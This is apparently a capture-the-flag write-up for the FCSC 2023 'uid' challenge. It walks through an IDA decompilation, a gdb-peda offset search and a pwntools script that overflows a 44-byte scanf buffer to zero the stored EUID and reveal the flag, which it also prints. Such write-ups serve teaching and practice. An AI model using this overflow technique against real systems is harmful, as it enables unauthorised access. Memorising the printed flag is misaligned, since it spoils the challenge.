Cover Image

FCSC 2023 - UID

In this article, we will explore the step-by-step walkthrough of the ‘uid’ challenge presented at FCSC 2023.

Challenge Overview

We have the following binary file available: here

We will open IDA to see what we need to do to exploit the binary and what it does.

Binary Analysis

Decompilation with IDA

By generating the pseudocode of the main() function in IDA, we get this result:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[44]; // [rsp+0h] [rbp-30h] BYREF
  __uid_t v5; // [rsp+2Ch] [rbp-4h]

  v5: geteuid();
  printf("username: ");
  fflush(_bss_start);
  __isoc99_scanf("%s", v4);
  if ( v5 )
    system("cat flop.txt");
  else
    system("cat flag.txt");
  return 0;
}

Code Analysis

  • Variable declarations:

    • v4 is a character array of 44 bytes, which will be used to store the username entered by the user.
    • v5 is an integer of type __uid_t, which will be used to store the effective user identifier (EUID).
  • Call to the geteuid() function to retrieve the EUID and store it in v5.

  • Display of the message "username: " using the printf() function.

  • The fflush(_bss_start) function is called to flush the standard output buffer.

  • The __isoc99_scanf() function is called to read the username entered by the user and store it in the v4 array.

    • If v5 is different from zero, the system("cat flop.txt") function is called to display the contents of the "flop.txt" file.
    • If v5 is equal to zero, the system("cat flag.txt") function is called to display the contents of the "flag.txt" file.

Finally, the function returns 0 to indicate that the program terminated successfully.

Exploitation Strategy

Since the scanf() function is used, we can try to use a buffer overflow vulnerability to overwrite the value of v5 to 0 so we can display the flag.

Memory Analysis with GDB PEDA

I decide to see in detail with gdb PEDA how it works at the memory level.

Assembly Code of the main Function

Here is the assembly code of the main function:


gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000001175 <+0>:	push   rbp
   0x0000000000001176 <+1>:	mov    rbp,rsp
   0x0000000000001179 <+4>:	sub    rsp,0x30
   0x000000000000117d <+8>:	call   0x1050 <geteuid@plt>
   0x0000000000001182 <+13>:	mov    DWORD PTR [rbp-0x4],eax
   0x0000000000001185 <+16>:	lea    rdi,[rip+0xe78]        # 0x2004
   0x000000000000118c <+23>:	mov    eax,0x0
   0x0000000000001191 <+28>:	call   0x1040 <printf@plt>
   0x0000000000001196 <+33>:	mov    rax,QWORD PTR [rip+0x2eb3]        # 0x4050 <stdout@GLIBC_2.2.5>
   0x000000000000119d <+40>:	mov    rdi,rax
   0x00000000000011a0 <+43>:	call   0x1060 <fflush@plt>
   0x00000000000011a5 <+48>:	lea    rax,[rbp-0x30]
   0x00000000000011a9 <+52>:	mov    rsi,rax
   0x00000000000011ac <+55>:	lea    rdi,[rip+0xe5c]        # 0x200f
   0x00000000000011b3 <+62>:	mov    eax,0x0
   0x00000000000011b8 <+67>:	call   0x1070 <__isoc99_scanf@plt>
   0x00000000000011bd <+72>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x00000000000011c1 <+76>:	jne    0x11d1 <main+92>
   0x00000000000011c3 <+78>:	lea    rdi,[rip+0xe48]        # 0x2012
   0x00000000000011ca <+85>:	call   0x1030 <system@plt>
   0x00000000000011cf <+90>:	jmp    0x11dd <main+104>
   0x00000000000011d1 <+92>:	lea    rdi,[rip+0xe47]        # 0x201f
   0x00000000000011d8 <+99>:	call   0x1030 <system@plt>
   0x00000000000011dd <+104>:	mov    eax,0x0
   0x00000000000011e2 <+109>:	leave  
   0x00000000000011e3 <+110>:	ret 
End of assembler dump.
gdb-peda$ b* main+72
Breakpoint 1 at 0x11bd

Pattern Creation and Testing

We will place a breakpoint at 0x00000000000011bd <+72>: cmp DWORD PTR [rbp-0x4],0x0 so at main+72 to see the state of rbp-0x4 when inserting our pattern.

For the pattern length, I start with 80 since that should be enough.

gdb-peda$ pattern create 80
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A'
gdb-peda$ r
Starting program: /home/balgogan/Téléchargements/uid 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
username: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.


[----------------------------------registers-----------------------------------]
RAX: 0x1 
RBX: 0x7fffffffe388 --> 0x7fffffffe6dc ("/home/balgogan/Téléchargements/uid")
RCX: 0x0 
RDX: 0x0 
RSI: 0xa ('\n')
RDI: 0x7fffffffdd00 --> 0x0 
RBP: 0x7fffffffe270 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RSP: 0x7fffffffe240 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RIP: 0x5555555551bd (<main+72>:	cmp    DWORD PTR [rbp-0x4],0x0)
R8 : 0x555555556010 --> 0x6c66207461630073 ('s')
R9 : 0x7ffff7f8ba80 --> 0xfbad2288 
R10: 0xffffffffffffffff 
R11: 0x7ffff7f8c560 --> 0x7ffff7f88800 --> 0x7ffff7f5047c --> 0x5a5400544d470043 ('C')
R12: 0x0 
R13: 0x7fffffffe398 --> 0x7fffffffe701 ("SHELL=/bin/bash")
R14: 0x0 
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555551ac <main+55>:	lea    rdi,[rip+0xe5c]        # 0x55555555600f
   0x5555555551b3 <main+62>:	mov    eax,0x0
   0x5555555551b8 <main+67>:	call   0x555555555070 <__isoc99_scanf@plt>
=> 0x5555555551bd <main+72>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x5555555551c1 <main+76>:	jne    0x5555555551d1 <main+92>
   0x5555555551c3 <main+78>:	lea    rdi,[rip+0xe48]        # 0x555555556012
   0x5555555551ca <main+85>:	call   0x555555555030 <system@plt>
   0x5555555551cf <main+90>:	jmp    0x5555555551dd <main+104>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe240 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0008| 0x7fffffffe248 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0016| 0x7fffffffe250 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0024| 0x7fffffffe258 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0032| 0x7fffffffe260 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0040| 0x7fffffffe268 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0048| 0x7fffffffe270 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0056| 0x7fffffffe278 ("AcAA2AAHAAdAA3AAIAAeAA4A")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00005555555551bd in main ()
gdb-peda$ x/8x $rbp-0x4
0x7fffffffe26c:	0x41	0x46	0x41	0x41	0x62	0x41	0x41	0x31
gdb-peda$ 

Finding the Offset

By looking at the content of $rbp-0x4, we have hexadecimal values "0x41 0x46 0x41 0x41 0x62 0x41 0x41 0x31". This corresponds in ASCII to AFAAbAA1

$ unhex 4146414162414131
AFAAbAA1

This character string is part of our pattern and the goal is to find where this string is located in our pattern to be able to construct our final payload:

gdb-peda$ pattern offset AFAAbAA1
AFAAbAA1 found at offset: 44

As seen in the IDA pseudocode, we find a buffer of 44 bytes, which means we need to write our "0" after 44 bytes.

Exploitation

Final Payload

Based on all this information, we can construct the following final payload:

from pwn import *

buffer: 44

#p = process('./uid')
p: remote("challenges.france-cybersecurity-challenge.fr",2100)

payload: ("A" * buffer).encode() + p32(0) + b"\n"

p.sendafter(b"username: ", payload)

print(p.recvall().decode('latin-1'))

Result

By executing the code, we get the flag:

$ python3.8 exp.py 
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2100: Done
[+] Receiving all data: Done (71B)
[*] Closed connection to challenges.france-cybersecurity-challenge.fr port 2100
FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}

Flag

The flag is : FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}